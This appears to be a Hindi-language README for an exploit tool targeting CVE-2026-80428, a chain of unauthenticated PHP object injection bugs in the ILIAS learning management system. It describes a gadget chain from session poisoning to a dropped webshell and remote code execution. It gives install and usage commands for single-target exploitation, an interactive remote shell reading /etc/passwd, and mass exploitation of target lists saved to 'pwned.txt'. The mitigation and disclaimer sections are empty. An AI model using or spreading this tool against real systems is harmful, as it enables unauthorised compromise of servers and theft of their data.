CVE-2026-80428

📖 विषय-सूची

• 🔍 अवलोकन
• ⚙️ भेद्यता श्रृंखला
• 🎯 प्रभावित संस्करण
• ✨ विशेषताएँ
• 📦 इंस्टॉलेशन
• 🚀 उपयोग
  • एकल लक्ष्य शोषण
  • इंटरैक्टिव शेल
  • सामूहिक शोषण
• 📁 लक्ष्य सूची प्रारूप
• 🖼️ स्क्रीनशॉट
• 🛡️ शमन
• 📢 चैनल और समुदाय
• ⚠️ अस्वीकरण

🔍 अवलोकन

CVE-2026-80428 एक गंभीर अनधिप्रमाणित PHP ऑब्जेक्ट इंजेक्शन भेद्यता है जो ILIAS लर्निंग मैनेजमेंट सिस्टम को प्रभावित करती है। ltiauth.php में एक सत्र विषाक्तता प्रिमिटिव को shib_logout.php में एक असुरक्षित unserialize() कॉल के साथ श्रृंखलाबद्ध करके, एक हमलावर मनमानी फ़ाइल लेखन और अंततः रिमोट कोड एक्ज़ीक्यूशन (RCE) प्राप्त कर सकता है — और यह सब बिना प्रमाणीकरण के।

⚙️ भेद्यता श्रृंखला

flowchart LR
    A[🎯 Attacker] -->|1. Poison Session| B[ltiauth.php]
    B -->|Serialized Guzzle Gadget| C[PHP Session Store]
    C -->|2. Trigger unserialize| D[shib_logout.php]
    D -->|Shibboleth SOAP Request| E[FileCookieJar Gadget]
    E -->|3. file_put_contents| F[💀 Webshell Dropped]
    F -->|4. Execute| G[🔓 RCE]

    style A fill:#ff4444,color:#fff
    style F fill:#ff0000,color:#fff
    style G fill:#8b0000,color:#fff

चरण-दर-चरण:

1. ltiauth.php बिना सत्यापन के PHP सत्र के अंदर एक सीरियलाइज़्ड पेलोड संग्रहीत करता है।
2. shib_logout.php एक तैयार किए गए Shibboleth LogoutNotification SOAP अनुरोध को प्रोसेस करता है और सत्र डेटा पर unserialize() को कॉल करता है।
3. GuzzleHttp\Cookie\FileCookieJar गैजेट हमलावर-नियंत्रित पथ पर एक PHP webshell छोड़ने के लिए file_put_contents() को आमंत्रित करता है।

🎯 प्रभावित संस्करण

✨ विशेषताएँ

📦 इंस्टॉलेशन

# Clone the repository
git clone https://github.com/HackfutSecRoot/CVE-2026-80428.git
cd CVE-2026-80428

# Install dependencies
pip install requests urllib3

# (Optional) Make executable
chmod +x CVE-2026-80428.py

आवश्यकताएँ:

• Python 3.8+
• requests
• urllib3

🚀 उपयोग

python3 CVE-2026-80428.py <mode> [options]

📌 एकल लक्ष्य शोषण

python3 CVE-2026-80428.py exploit 10.10.10.20
python3 CVE-2026-80428.py exploit 10.10.10.20 --port 8443 --path /var/www/html
python3 CVE-2026-80428.py exploit target.com --host-header ilias.internal

विकल्प:

💻 इंटरैक्टिव शेल

python3 CVE-2026-80428.py shell 10.10.10.20

ilias$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

ilias$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...

ilias$ exit

🚀 व्यापक शोषण

python3 CVE-2026-80428.py mass -l targets.txt -t 32 -o pwned.txt

विकल्प:

📁 लक्ष्य सूची प्रारूप

एक targets.txt फ़ाइल बनाएँ:

# Comments start with #
10.10.10.20
10.10.10.21:8443
https://ilias.example.com
http://lms.target.local
192.168.1.50:8080

# Mixed formats are supported
example.org

समर्थित प्रारूप:

• host
• host:port
• http://host
• https://host:port
• host/path (पथ हटा दिया गया)

🖼️ स्क्रीनशॉट

  [  42/500] VULN  10.10.10.20:443     https://10.10.10.20:443/util_a1b2c3.php?x=id
  [  43/500] SAFE  10.10.10.21:443     [PATCHED]
  [  44/500] ERR   10.10.10.22:8443    [Connection timed out]

  [44/500] VULN:12  SAFE:30  ERR:2  8%

🛡️ शमन

रक्षकों और सिस्टम प्रशासकों के लिए:

📢 चैनल और समुदाय

🌐 समुदाय से जुड़ें